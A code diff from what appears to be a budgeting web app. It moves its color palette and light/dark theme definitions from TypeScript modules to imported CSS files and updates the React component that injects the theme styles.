||||
// Only for use in contextual color definitions
|
||||
export const gray50 = '#f6f8fa';
|
||||
export const gray80 = '#f0f4f6';
|
||||
export const gray100 = '#e8ecf0';
|
||||
export const gray150 = '#d4dae0';
|
||||
export const gray200 = '#bdc5cf';
|
||||
export const gray300 = '#98a1ae';
|
||||
export const gray400 = '#747c8b';
|
||||
export const gray500 = '#4d5768';
|
||||
export const gray600 = '#373b4a';
|
||||
export const gray700 = '#242733';
|
||||
export const gray800 = '#141520';
|
||||
export const gray900 = '#080811';
|
||||
export const navy50 = '#f7fafc';
|
||||
export const navy100 = '#e8ecf0';
|
||||
export const navy150 = '#d9e2ec';
|
||||
export const navy200 = '#bcccdc';
|
||||
export const navy300 = '#9fb3c8';
|
||||
export const navy400 = '#829ab1';
|
||||
export const navy500 = '#627d98';
|
||||
export const navy600 = '#486581';
|
||||
export const navy700 = '#334e68';
|
||||
export const navy800 = '#243b53';
|
||||
export const navy900 = '#102a43';
|
||||
export const blue50 = '#f5fcff';
|
||||
export const blue100 = '#e3f0ff';
|
||||
export const blue150 = '#b3d9ff';
|
||||
export const blue200 = '#8bcafd';
|
||||
export const blue300 = '#66b5fa';
|
||||
export const blue400 = '#40a5f7';
|
||||
export const blue500 = '#2b8fed';
|
||||
export const blue600 = '#1980d4';
|
||||
export const blue700 = '#1271bf';
|
||||
export const blue800 = '#0b5fa3';
|
||||
export const blue900 = '#034388';
|
||||
export const green50 = '#fafffd';
|
||||
export const green100 = '#effcf6';
|
||||
export const green150 = '#c6f7e2';
|
||||
export const green200 = '#8eedc7';
|
||||
export const green300 = '#65d6ad';
|
||||
export const green400 = '#3ebd93';
|
||||
export const green500 = '#27ab83';
|
||||
export const green600 = '#199473';
|
||||
export const green700 = '#147d64';
|
||||
export const green800 = '#0c6b58';
|
||||
export const green900 = '#014d40';
|
||||
export const orange50 = '#fffefa';
|
||||
export const orange100 = '#fffbea';
|
||||
export const orange150 = '#fff7c4';
|
||||
export const orange200 = '#fcf088';
|
||||
export const orange300 = '#f5e35d';
|
||||
export const orange400 = '#f2d047';
|
||||
export const orange500 = '#e6bb20';
|
||||
export const orange600 = '#d4a31c';
|
||||
export const orange700 = '#b88115';
|
||||
export const orange800 = '#87540d';
|
||||
export const orange900 = '#733309';
|
||||
export const red50 = '#fff1f1';
|
||||
export const red100 = '#ffe3e3';
|
||||
export const red150 = '#ffbdbd';
|
||||
export const red200 = '#ff9b9b';
|
||||
export const red300 = '#f86a6a';
|
||||
export const red400 = '#ef4e4e';
|
||||
export const red500 = '#e12d39';
|
||||
export const red600 = '#cf1124';
|
||||
export const red700 = '#ab091e';
|
||||
export const red800 = '#8a041a';
|
||||
export const red900 = '#610316';
|
||||
export const purple50 = '#f9f6fe';
|
||||
export const purple100 = '#f2ebfe';
|
||||
export const purple125 = '#e4d4ff';
|
||||
export const purple150 = '#dac4ff';
|
||||
export const purple200 = '#b990ff';
|
||||
export const purple300 = '#a368fc';
|
||||
export const purple400 = '#9446ed';
|
||||
export const purple500 = '#8719e0';
|
||||
export const purple600 = '#7a0ecc';
|
||||
export const purple700 = '#690cb0';
|
||||
export const purple800 = '#580a94';
|
||||
export const purple900 = '#44056e';
|
||||
export const white = '#ffffff';
|
||||
export const black = '#000000';
|
||||
export const hover = '#fafafa';
|
||||
export const border = '#e8ecf0';
|
||||
export const selected = '#b3d9ff';
|
||||
|
||||
// Chart colors - Qualitative scale (9 colors)
|
||||
export const chartQual1 = '#45B29D'; // Dark Teal
|
||||
export const chartQual2 = '#EFC94C'; // Yellow
|
||||
export const chartQual3 = '#E27A3F'; // Orange
|
||||
export const chartQual4 = '#DF5A49'; // Light Red
|
||||
export const chartQual5 = '#5F91B8'; // Blue
|
||||
export const chartQual6 = '#E2A37F'; // Peach
|
||||
export const chartQual7 = '#55DBC1'; // Light Teal
|
||||
export const chartQual8 = '#EFDA97'; // Light Yellow
|
||||
export const chartQual9 = '#DF948A'; // Light Red
|
||||
@@ -1,5 +1,9 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
|
||||
import darkThemeCss from '@actual-app/components/themes/dark.css?inline';
|
||||
import lightThemeCss from '@actual-app/components/themes/light.css?inline';
|
||||
import midnightThemeCss from '@actual-app/components/themes/midnight.css?inline';
|
||||
import paletteCss from '@actual-app/components/themes/palette.css?inline';
|
||||
import type { DarkTheme, Theme } from '@actual-app/core/types/prefs';
|
||||
|
||||
import { useGlobalPref } from '#hooks/useGlobalPref';
|
||||
@@ -10,15 +14,12 @@ import {
|
||||
validateThemeCss,
|
||||
} from './customThemes';
|
||||
import type { BaseTheme } from './customThemes';
|
||||
import * as darkTheme from './themes/dark';
|
||||
import * as lightTheme from './themes/light';
|
||||
import * as midnightTheme from './themes/midnight';
|
||||
|
||||
const themes = {
|
||||
light: { name: 'Light', colors: lightTheme },
|
||||
dark: { name: 'Dark', colors: darkTheme },
|
||||
midnight: { name: 'Midnight', colors: midnightTheme },
|
||||
auto: { name: 'System default', colors: darkTheme },
|
||||
light: { name: 'Light', colors: lightThemeCss },
|
||||
dark: { name: 'Dark', colors: darkThemeCss },
|
||||
midnight: { name: 'Midnight', colors: midnightThemeCss },
|
||||
auto: { name: 'System default', colors: darkThemeCss },
|
||||
} as const;
|
||||
|
||||
type ThemeKey = keyof typeof themes;
|
||||
@@ -100,9 +101,7 @@ export function ThemeStyle() {
|
||||
const [installedCustomDarkThemeJson] = useGlobalPref(
|
||||
'installedCustomDarkTheme',
|
||||
);
|
||||
const [themeColors, setThemeColors] = useState<
|
||||
typeof lightTheme | typeof darkTheme | typeof midnightTheme | undefined
|
||||
>(undefined);
|
||||
const [themeColors, setThemeColors] = useState<string | undefined>(undefined);
|
||||
|
||||
useEffect(() => {
|
||||
if (activeTheme === 'auto') {
|
||||
@@ -166,10 +165,12 @@ export function ThemeStyle() {
|
||||
|
||||
if (!themeColors) return null;
|
||||
|
||||
const css = Object.entries(themeColors)
|
||||
.map(([key, value]) => ` --color-${key}: ${value};`)
|
||||
.join('\n');
|
||||
return <style>{`:root {\n${css}}`}</style>;
|
||||
return (
|
||||
<>
|
||||
<style>{paletteCss}</style>
|
||||
<style>{themeColors}</style>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,249 +0,0 @@
|
||||
import * as colorPalette from '#style/palette';
|
||||
|
||||
export const pageBackground = colorPalette.gray900;
|
||||
export const pageBackgroundModalActive = colorPalette.gray800;
|
||||
export const pageBackgroundTopLeft = colorPalette.navy800;
|
||||
export const pageBackgroundBottomRight = colorPalette.gray700;
|
||||
export const pageBackgroundLineTop = colorPalette.purple400;
|
||||
export const pageBackgroundLineMid = colorPalette.navy900;
|
||||
export const pageBackgroundLineBottom = colorPalette.navy150;
|
||||
export const pageText = colorPalette.navy150;
|
||||
export const pageTextLight = colorPalette.navy300;
|
||||
export const pageTextSubdued = colorPalette.navy500;
|
||||
export const pageTextDark = colorPalette.navy100;
|
||||
export const pageTextPositive = colorPalette.purple200;
|
||||
export const pageTextLink = colorPalette.purple400;
|
||||
export const pageTextLinkLight = colorPalette.purple200;
|
||||
|
||||
export const cardBackground = colorPalette.gray800;
|
||||
export const cardBorder = colorPalette.purple400;
|
||||
export const cardShadow = colorPalette.navy700;
|
||||
|
||||
export const tableBackground = colorPalette.navy800;
|
||||
export const tableRowBackgroundHover = colorPalette.navy700;
|
||||
export const tableText = colorPalette.navy150;
|
||||
export const tableTextLight = tableText;
|
||||
export const tableTextSubdued = colorPalette.navy500;
|
||||
export const tableTextSelected = colorPalette.navy150;
|
||||
export const tableTextHover = colorPalette.navy400;
|
||||
export const tableTextInactive = colorPalette.navy500;
|
||||
export const tableHeaderText = colorPalette.navy300;
|
||||
export const tableHeaderBackground = colorPalette.navy700;
|
||||
export const tableBorder = colorPalette.navy600;
|
||||
export const tableBorderSelected = colorPalette.purple400;
|
||||
export const tableBorderHover = colorPalette.purple300;
|
||||
export const tableBorderSeparator = colorPalette.navy400;
|
||||
export const tableRowBackgroundHighlight = colorPalette.purple800;
|
||||
export const tableRowBackgroundHighlightText = colorPalette.navy150;
|
||||
export const tableRowHeaderBackground = colorPalette.navy700;
|
||||
export const tableRowHeaderText = colorPalette.navy150;
|
||||
|
||||
export const numberPositive = colorPalette.green300;
|
||||
export const numberNegative = colorPalette.red200;
|
||||
export const numberNeutral = colorPalette.navy500;
|
||||
export const budgetNumberNegative = numberNegative;
|
||||
export const budgetNumberZero = tableTextSubdued;
|
||||
export const budgetNumberNeutral = tableText;
|
||||
export const budgetNumberPositive = budgetNumberNeutral;
|
||||
export const templateNumberFunded = numberPositive;
|
||||
export const templateNumberUnderFunded = colorPalette.orange300;
|
||||
export const toBudgetPositive = numberPositive;
|
||||
export const toBudgetZero = numberPositive;
|
||||
export const toBudgetNegative = budgetNumberNegative;
|
||||
|
||||
export const sidebarBackground = colorPalette.navy900;
|
||||
export const sidebarItemBackgroundPending = colorPalette.orange200;
|
||||
export const sidebarItemBackgroundPositive = colorPalette.green500;
|
||||
export const sidebarItemBackgroundFailed = colorPalette.red300;
|
||||
export const sidebarItemAccentSelected = colorPalette.purple200;
|
||||
export const sidebarItemBackgroundHover = colorPalette.navy700;
|
||||
export const sidebarItemText = colorPalette.navy150;
|
||||
export const sidebarItemTextSelected = colorPalette.purple200;
|
||||
export const sidebarBudgetName = colorPalette.navy300;
|
||||
|
||||
export const menuBackground = colorPalette.navy800;
|
||||
export const menuItemBackground = colorPalette.navy800;
|
||||
export const menuItemBackgroundHover = colorPalette.navy500;
|
||||
export const menuItemText = colorPalette.navy100;
|
||||
export const menuItemTextHover = colorPalette.navy50;
|
||||
export const menuItemTextSelected = colorPalette.purple400;
|
||||
export const menuItemTextHeader = colorPalette.purple200;
|
||||
export const menuBorder = colorPalette.navy900;
|
||||
export const menuBorderHover = colorPalette.purple400;
|
||||
export const menuKeybindingText = colorPalette.purple200;
|
||||
export const menuAutoCompleteBackground = colorPalette.navy900;
|
||||
export const menuAutoCompleteBackgroundHover = colorPalette.navy600;
|
||||
export const menuAutoCompleteText = colorPalette.navy200;
|
||||
export const menuAutoCompleteTextHeader = colorPalette.purple200;
|
||||
export const menuAutoCompleteItemText = menuItemText;
|
||||
|
||||
export const modalBackground = colorPalette.gray800;
|
||||
export const modalBorder = colorPalette.navy600;
|
||||
export const mobileHeaderBackground = colorPalette.purple800;
|
||||
export const mobileHeaderText = colorPalette.navy150;
|
||||
export const mobileHeaderTextSubdued = colorPalette.gray200;
|
||||
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
|
||||
export const mobilePageBackground = colorPalette.navy700;
|
||||
export const mobileNavBackground = colorPalette.navy800;
|
||||
export const mobileNavItem = colorPalette.navy150;
|
||||
export const mobileNavItemSelected = colorPalette.purple400;
|
||||
export const mobileAccountShadow = cardShadow;
|
||||
export const mobileAccountText = colorPalette.blue800;
|
||||
export const mobileTransactionSelected = colorPalette.purple400;
|
||||
|
||||
// Mobile view themes (for the top bar)
|
||||
export const mobileViewTheme = mobileHeaderBackground;
|
||||
export const mobileConfigServerViewTheme = colorPalette.purple500;
|
||||
|
||||
export const markdownNormal = colorPalette.purple700;
|
||||
export const markdownDark = colorPalette.purple500;
|
||||
export const markdownLight = colorPalette.purple800;
|
||||
|
||||
// Button
|
||||
export const buttonMenuText = colorPalette.navy200;
|
||||
export const buttonMenuTextHover = buttonMenuText;
|
||||
export const buttonMenuBackground = 'transparent';
|
||||
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
|
||||
export const buttonMenuBorder = colorPalette.navy500;
|
||||
export const buttonMenuSelectedText = colorPalette.green800;
|
||||
export const buttonMenuSelectedTextHover = colorPalette.orange800;
|
||||
export const buttonMenuSelectedBackground = colorPalette.orange200;
|
||||
export const buttonMenuSelectedBackgroundHover = colorPalette.orange300;
|
||||
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
|
||||
|
||||
export const buttonPrimaryText = colorPalette.white;
|
||||
export const buttonPrimaryTextHover = buttonPrimaryText;
|
||||
export const buttonPrimaryBackground = colorPalette.purple400;
|
||||
export const buttonPrimaryBackgroundHover = colorPalette.purple600;
|
||||
export const buttonPrimaryBorder = buttonPrimaryBackground;
|
||||
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.6)';
|
||||
export const buttonPrimaryDisabledText = colorPalette.navy700;
|
||||
export const buttonPrimaryDisabledBackground = colorPalette.navy400;
|
||||
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
|
||||
|
||||
export const buttonNormalText = colorPalette.navy150;
|
||||
export const buttonNormalTextHover = colorPalette.navy150;
|
||||
export const buttonNormalBackground = colorPalette.navy800;
|
||||
export const buttonNormalBackgroundHover = colorPalette.navy600;
|
||||
export const buttonNormalBorder = colorPalette.navy300;
|
||||
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.4)';
|
||||
export const buttonNormalSelectedText = colorPalette.white;
|
||||
export const buttonNormalSelectedBackground = colorPalette.purple600;
|
||||
export const buttonNormalDisabledText = colorPalette.navy500;
|
||||
export const buttonNormalDisabledBackground = colorPalette.navy800;
|
||||
export const buttonNormalDisabledBorder = colorPalette.navy500;
|
||||
|
||||
export const calendarText = colorPalette.navy50;
|
||||
export const calendarBackground = colorPalette.navy900;
|
||||
export const calendarItemText = colorPalette.navy150;
|
||||
export const calendarItemBackground = colorPalette.navy800;
|
||||
export const calendarSelectedBackground = buttonNormalSelectedBackground;
|
||||
|
||||
export const buttonBareText = buttonNormalText;
|
||||
export const buttonBareTextHover = buttonNormalText;
|
||||
export const buttonBareBackground = 'transparent';
|
||||
export const buttonBareBackgroundHover = 'rgba(200, 200, 200, .3)';
|
||||
export const buttonBareBackgroundActive = 'rgba(200, 200, 200, .5)';
|
||||
export const buttonBareDisabledText = buttonNormalDisabledText;
|
||||
export const buttonBareDisabledBackground = buttonBareBackground;
|
||||
|
||||
export const noticeBackground = colorPalette.green800;
|
||||
export const noticeBackgroundLight = colorPalette.green900;
|
||||
export const noticeBackgroundDark = colorPalette.green500;
|
||||
export const noticeText = colorPalette.green300;
|
||||
export const noticeTextLight = colorPalette.green500;
|
||||
export const noticeTextDark = colorPalette.green150;
|
||||
export const noticeTextMenu = colorPalette.green500;
|
||||
export const noticeBorder = colorPalette.green800;
|
||||
export const warningBackground = colorPalette.orange800;
|
||||
export const warningText = colorPalette.orange300;
|
||||
export const warningTextLight = colorPalette.orange500;
|
||||
export const warningTextDark = colorPalette.orange100;
|
||||
export const warningBorder = colorPalette.orange500;
|
||||
export const errorBackground = colorPalette.red800;
|
||||
export const errorText = colorPalette.red200;
|
||||
export const errorTextDark = colorPalette.red150;
|
||||
export const errorTextDarker = errorTextDark;
|
||||
export const errorTextMenu = colorPalette.red200;
|
||||
export const errorBorder = colorPalette.red500;
|
||||
export const upcomingBackground = colorPalette.purple700;
|
||||
export const upcomingText = colorPalette.purple100;
|
||||
export const upcomingBorder = tableBorder;
|
||||
|
||||
export const formLabelText = colorPalette.purple150;
|
||||
export const formLabelBackground = colorPalette.blue900;
|
||||
export const formInputBackground = colorPalette.navy800;
|
||||
export const formInputBackgroundSelected = colorPalette.navy700;
|
||||
export const formInputBackgroundSelection = colorPalette.purple400;
|
||||
export const formInputBorder = colorPalette.navy600;
|
||||
export const formInputTextReadOnlySelection = colorPalette.navy800;
|
||||
export const formInputBorderSelected = colorPalette.purple400;
|
||||
export const formInputText = colorPalette.navy150;
|
||||
export const formInputTextSelected = colorPalette.black;
|
||||
export const formInputTextPlaceholder = colorPalette.navy150;
|
||||
export const formInputTextPlaceholderSelected = colorPalette.navy100;
|
||||
export const formInputTextSelection = colorPalette.navy800;
|
||||
export const formInputShadowSelected = colorPalette.purple200;
|
||||
export const formInputTextHighlight = colorPalette.purple400;
|
||||
export const checkboxText = tableText;
|
||||
export const checkboxBackgroundSelected = colorPalette.purple300;
|
||||
export const checkboxBorderSelected = colorPalette.purple300;
|
||||
export const checkboxShadowSelected = colorPalette.purple500;
|
||||
export const checkboxToggleBackground = colorPalette.gray700;
|
||||
export const checkboxToggleBackgroundSelected = colorPalette.purple300;
|
||||
export const checkboxToggleDisabled = colorPalette.gray400;
|
||||
|
||||
export const pillBackground = colorPalette.navy800;
|
||||
export const pillBackgroundLight = colorPalette.navy900;
|
||||
export const pillText = colorPalette.navy200;
|
||||
export const pillTextHighlighted = colorPalette.purple200;
|
||||
export const pillBorder = colorPalette.navy700;
|
||||
export const pillBorderDark = pillBorder;
|
||||
export const pillBackgroundSelected = colorPalette.purple600;
|
||||
export const pillTextSelected = colorPalette.navy150;
|
||||
export const pillBorderSelected = colorPalette.purple400;
|
||||
export const pillTextSubdued = colorPalette.navy500;
|
||||
|
||||
export const reportsRed = colorPalette.red300;
|
||||
export const reportsBlue = colorPalette.blue400;
|
||||
export const reportsGreen = colorPalette.green400;
|
||||
export const reportsGray = colorPalette.gray400;
|
||||
export const reportsLabel = pageText;
|
||||
export const reportsInnerLabel = colorPalette.navy800;
|
||||
export const reportsNumberPositive = numberPositive;
|
||||
export const reportsNumberNegative = numberNegative;
|
||||
export const reportsNumberNeutral = numberNeutral;
|
||||
export const reportsChartFill = reportsNumberPositive;
|
||||
|
||||
export const noteTagBackground = colorPalette.purple700;
|
||||
export const noteTagBackgroundHover = colorPalette.purple500;
|
||||
export const noteTagDefault = colorPalette.purple700;
|
||||
export const noteTagText = colorPalette.purple100;
|
||||
|
||||
export const budgetOtherMonth = colorPalette.navy900;
|
||||
export const budgetCurrentMonth = tableBackground;
|
||||
export const budgetHeaderOtherMonth = colorPalette.navy800;
|
||||
export const budgetHeaderCurrentMonth = tableHeaderBackground;
|
||||
|
||||
export const floatingActionBarBackground = colorPalette.purple800;
|
||||
export const floatingActionBarBorder = floatingActionBarBackground;
|
||||
export const floatingActionBarText = colorPalette.navy150;
|
||||
|
||||
export const tooltipText = colorPalette.navy100;
|
||||
export const tooltipBackground = colorPalette.navy800;
|
||||
export const tooltipBorder = colorPalette.navy700;
|
||||
|
||||
export const calendarCellBackground = colorPalette.navy900;
|
||||
|
||||
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
|
||||
|
||||
// Chart colors - Qualitative scale (9 colors)
|
||||
export const chartQual1 = colorPalette.chartQual1;
|
||||
export const chartQual2 = colorPalette.chartQual2;
|
||||
export const chartQual3 = colorPalette.chartQual3;
|
||||
export const chartQual4 = colorPalette.chartQual4;
|
||||
export const chartQual5 = colorPalette.chartQual5;
|
||||
export const chartQual6 = colorPalette.chartQual6;
|
||||
export const chartQual7 = colorPalette.chartQual7;
|
||||
export const chartQual8 = colorPalette.chartQual8;
|
||||
export const chartQual9 = colorPalette.chartQual9;
|
||||
@@ -1,251 +0,0 @@
|
||||
import * as colorPalette from '#style/palette';
|
||||
|
||||
export const pageBackground = colorPalette.navy100;
|
||||
export const pageBackgroundModalActive = colorPalette.navy200;
|
||||
export const pageBackgroundTopLeft = colorPalette.navy100;
|
||||
export const pageBackgroundBottomRight = colorPalette.blue150;
|
||||
export const pageBackgroundLineTop = colorPalette.white;
|
||||
export const pageBackgroundLineMid = colorPalette.navy100;
|
||||
export const pageBackgroundLineBottom = colorPalette.blue150;
|
||||
export const pageText = '#272630';
|
||||
export const pageTextLight = colorPalette.navy500;
|
||||
export const pageTextSubdued = colorPalette.navy300;
|
||||
export const pageTextDark = colorPalette.navy800;
|
||||
export const pageTextPositive = colorPalette.purple600;
|
||||
export const pageTextLink = colorPalette.blue600;
|
||||
export const pageTextLinkLight = colorPalette.blue300;
|
||||
|
||||
export const cardBackground = colorPalette.white;
|
||||
export const cardBorder = colorPalette.purple700;
|
||||
export const cardShadow = colorPalette.navy700;
|
||||
|
||||
export const tableBackground = colorPalette.white;
|
||||
export const tableRowBackgroundHover = colorPalette.navy50;
|
||||
export const tableText = pageText;
|
||||
export const tableTextLight = colorPalette.navy400;
|
||||
export const tableTextSubdued = colorPalette.navy100;
|
||||
export const tableTextSelected = colorPalette.navy700;
|
||||
export const tableTextHover = colorPalette.navy900;
|
||||
export const tableTextInactive = colorPalette.navy500;
|
||||
export const tableHeaderText = colorPalette.navy600;
|
||||
export const tableHeaderBackground = colorPalette.white;
|
||||
export const tableBorder = colorPalette.navy100;
|
||||
export const tableBorderSelected = colorPalette.purple500;
|
||||
export const tableBorderHover = colorPalette.purple400;
|
||||
export const tableBorderSeparator = colorPalette.navy400;
|
||||
export const tableRowBackgroundHighlight = colorPalette.blue150;
|
||||
export const tableRowBackgroundHighlightText = colorPalette.navy700;
|
||||
export const tableRowHeaderBackground = colorPalette.navy50;
|
||||
export const tableRowHeaderText = colorPalette.navy800;
|
||||
|
||||
export const numberPositive = colorPalette.green700;
|
||||
export const numberNegative = colorPalette.red500;
|
||||
export const numberNeutral = colorPalette.navy100;
|
||||
export const budgetNumberNegative = numberNegative;
|
||||
export const budgetNumberZero = tableTextSubdued;
|
||||
export const budgetNumberNeutral = tableText;
|
||||
export const budgetNumberPositive = budgetNumberNeutral;
|
||||
export const templateNumberFunded = numberPositive;
|
||||
export const templateNumberUnderFunded = colorPalette.orange700;
|
||||
export const toBudgetPositive = numberPositive;
|
||||
export const toBudgetZero = numberPositive;
|
||||
export const toBudgetNegative = budgetNumberNegative;
|
||||
|
||||
export const sidebarBackground = colorPalette.navy900;
|
||||
export const sidebarItemBackgroundPending = colorPalette.orange200;
|
||||
export const sidebarItemBackgroundPositive = colorPalette.green500;
|
||||
export const sidebarItemBackgroundFailed = colorPalette.red300;
|
||||
export const sidebarItemBackgroundHover = colorPalette.navy800;
|
||||
export const sidebarItemAccentSelected = colorPalette.purple200;
|
||||
export const sidebarItemText = colorPalette.navy150;
|
||||
export const sidebarItemTextSelected = colorPalette.purple200;
|
||||
export const sidebarBudgetName = colorPalette.navy150;
|
||||
|
||||
export const menuBackground = colorPalette.white;
|
||||
export const menuItemBackground = colorPalette.navy50;
|
||||
export const menuItemBackgroundHover = colorPalette.navy100;
|
||||
export const menuItemText = colorPalette.navy900;
|
||||
export const menuItemTextHover = menuItemText;
|
||||
export const menuItemTextSelected = colorPalette.purple300;
|
||||
export const menuItemTextHeader = colorPalette.navy400;
|
||||
export const menuBorder = colorPalette.navy100;
|
||||
export const menuBorderHover = colorPalette.purple100;
|
||||
export const menuKeybindingText = colorPalette.navy400;
|
||||
export const menuAutoCompleteBackground = colorPalette.navy900;
|
||||
export const menuAutoCompleteBackgroundHover = colorPalette.navy600;
|
||||
export const menuAutoCompleteText = colorPalette.white;
|
||||
export const menuAutoCompleteTextHover = colorPalette.green150;
|
||||
export const menuAutoCompleteTextHeader = colorPalette.orange150;
|
||||
export const menuAutoCompleteItemTextHover = menuAutoCompleteText;
|
||||
export const menuAutoCompleteItemText = menuAutoCompleteText;
|
||||
|
||||
export const modalBackground = colorPalette.white;
|
||||
export const modalBorder = colorPalette.white;
|
||||
export const mobileHeaderBackground = colorPalette.purple400;
|
||||
export const mobileHeaderText = colorPalette.navy50;
|
||||
export const mobileHeaderTextSubdued = colorPalette.gray200;
|
||||
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
|
||||
export const mobilePageBackground = colorPalette.navy50;
|
||||
export const mobileNavBackground = colorPalette.white;
|
||||
export const mobileNavItem = colorPalette.gray300;
|
||||
export const mobileNavItemSelected = colorPalette.purple500;
|
||||
export const mobileAccountShadow = colorPalette.navy300;
|
||||
export const mobileAccountText = colorPalette.blue800;
|
||||
export const mobileTransactionSelected = colorPalette.purple500;
|
||||
|
||||
// Mobile view themes (for the top bar)
|
||||
export const mobileViewTheme = mobileHeaderBackground;
|
||||
export const mobileConfigServerViewTheme = colorPalette.purple500;
|
||||
|
||||
export const markdownNormal = colorPalette.purple150;
|
||||
export const markdownDark = colorPalette.purple400;
|
||||
export const markdownLight = colorPalette.purple100;
|
||||
|
||||
// Button
|
||||
export const buttonMenuText = colorPalette.navy100;
|
||||
export const buttonMenuTextHover = colorPalette.navy50;
|
||||
export const buttonMenuBackground = 'transparent';
|
||||
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
|
||||
export const buttonMenuBorder = colorPalette.navy500;
|
||||
export const buttonMenuSelectedText = colorPalette.green800;
|
||||
export const buttonMenuSelectedTextHover = colorPalette.orange800;
|
||||
export const buttonMenuSelectedBackground = colorPalette.orange200;
|
||||
export const buttonMenuSelectedBackgroundHover = colorPalette.orange300;
|
||||
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
|
||||
|
||||
export const buttonPrimaryText = colorPalette.white;
|
||||
export const buttonPrimaryTextHover = buttonPrimaryText;
|
||||
export const buttonPrimaryBackground = colorPalette.purple500;
|
||||
export const buttonPrimaryBackgroundHover = colorPalette.purple300;
|
||||
export const buttonPrimaryBorder = buttonPrimaryBackground;
|
||||
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.3)';
|
||||
export const buttonPrimaryDisabledText = colorPalette.white;
|
||||
export const buttonPrimaryDisabledBackground = colorPalette.navy300;
|
||||
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
|
||||
|
||||
export const buttonNormalText = colorPalette.navy900;
|
||||
export const buttonNormalTextHover = buttonNormalText;
|
||||
export const buttonNormalBackground = colorPalette.white;
|
||||
export const buttonNormalBackgroundHover = buttonNormalBackground;
|
||||
export const buttonNormalBorder = colorPalette.navy150;
|
||||
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.2)';
|
||||
export const buttonNormalSelectedText = colorPalette.white;
|
||||
export const buttonNormalSelectedBackground = colorPalette.blue600;
|
||||
export const buttonNormalDisabledText = colorPalette.navy300;
|
||||
export const buttonNormalDisabledBackground = buttonNormalBackground;
|
||||
export const buttonNormalDisabledBorder = buttonNormalBorder;
|
||||
|
||||
export const calendarText = colorPalette.navy50;
|
||||
export const calendarBackground = colorPalette.navy900;
|
||||
export const calendarItemText = colorPalette.navy150;
|
||||
export const calendarItemBackground = colorPalette.navy800;
|
||||
export const calendarSelectedBackground = colorPalette.navy500;
|
||||
|
||||
export const buttonBareText = buttonNormalText;
|
||||
export const buttonBareTextHover = buttonNormalText;
|
||||
export const buttonBareBackground = 'transparent';
|
||||
export const buttonBareBackgroundHover = 'rgba(100, 100, 100, .15)';
|
||||
export const buttonBareBackgroundActive = 'rgba(100, 100, 100, .25)';
|
||||
export const buttonBareDisabledText = buttonNormalDisabledText;
|
||||
export const buttonBareDisabledBackground = buttonBareBackground;
|
||||
|
||||
export const noticeBackground = colorPalette.green150;
|
||||
export const noticeBackgroundLight = colorPalette.green100;
|
||||
export const noticeBackgroundDark = colorPalette.green500;
|
||||
export const noticeText = colorPalette.green700;
|
||||
export const noticeTextLight = colorPalette.green500;
|
||||
export const noticeTextDark = colorPalette.green900;
|
||||
export const noticeTextMenu = colorPalette.green200;
|
||||
export const noticeBorder = colorPalette.green500;
|
||||
export const warningBackground = colorPalette.orange200;
|
||||
export const warningText = colorPalette.orange700;
|
||||
export const warningTextLight = colorPalette.orange500;
|
||||
export const warningTextDark = colorPalette.orange900;
|
||||
export const warningBorder = colorPalette.orange500;
|
||||
export const errorBackground = colorPalette.red100;
|
||||
export const errorText = colorPalette.red500;
|
||||
export const errorTextDark = colorPalette.red700;
|
||||
export const errorTextDarker = colorPalette.red900;
|
||||
export const errorTextMenu = colorPalette.red200;
|
||||
export const errorBorder = colorPalette.red500;
|
||||
export const upcomingBackground = colorPalette.purple100;
|
||||
export const upcomingText = colorPalette.purple700;
|
||||
export const upcomingBorder = colorPalette.purple500;
|
||||
|
||||
export const formLabelText = colorPalette.blue600;
|
||||
export const formLabelBackground = colorPalette.blue200;
|
||||
export const formInputBackground = colorPalette.navy50;
|
||||
export const formInputBackgroundSelected = colorPalette.white;
|
||||
export const formInputBackgroundSelection = colorPalette.purple500;
|
||||
export const formInputBorder = colorPalette.navy150;
|
||||
export const formInputTextReadOnlySelection = colorPalette.navy50;
|
||||
export const formInputBorderSelected = colorPalette.purple500;
|
||||
export const formInputText = colorPalette.navy900;
|
||||
export const formInputTextSelected = colorPalette.navy50;
|
||||
export const formInputTextPlaceholder = colorPalette.navy300;
|
||||
export const formInputTextPlaceholderSelected = colorPalette.navy200;
|
||||
export const formInputTextSelection = colorPalette.navy100;
|
||||
export const formInputShadowSelected = colorPalette.purple300;
|
||||
export const formInputTextHighlight = colorPalette.purple200;
|
||||
export const checkboxText = tableBackground;
|
||||
export const checkboxBackgroundSelected = colorPalette.blue500;
|
||||
export const checkboxBorderSelected = colorPalette.blue500;
|
||||
export const checkboxShadowSelected = colorPalette.blue300;
|
||||
export const checkboxToggleBackground = colorPalette.gray400;
|
||||
export const checkboxToggleBackgroundSelected = colorPalette.purple600;
|
||||
export const checkboxToggleDisabled = colorPalette.gray200;
|
||||
|
||||
export const pillBackground = colorPalette.navy150;
|
||||
export const pillBackgroundLight = colorPalette.navy50;
|
||||
export const pillText = colorPalette.navy800;
|
||||
export const pillTextHighlighted = colorPalette.purple600;
|
||||
export const pillBorder = colorPalette.navy150;
|
||||
export const pillBorderDark = colorPalette.navy300;
|
||||
export const pillBackgroundSelected = colorPalette.blue150;
|
||||
export const pillTextSelected = colorPalette.blue900;
|
||||
export const pillBorderSelected = colorPalette.purple500;
|
||||
export const pillTextSubdued = colorPalette.navy200;
|
||||
|
||||
export const reportsRed = colorPalette.red300;
|
||||
export const reportsBlue = colorPalette.blue400;
|
||||
export const reportsGreen = colorPalette.green400;
|
||||
export const reportsGray = colorPalette.gray400;
|
||||
export const reportsLabel = colorPalette.navy900;
|
||||
export const reportsInnerLabel = colorPalette.navy800;
|
||||
export const reportsNumberPositive = numberPositive;
|
||||
export const reportsNumberNegative = numberNegative;
|
||||
export const reportsNumberNeutral = numberNeutral;
|
||||
export const reportsChartFill = reportsNumberPositive;
|
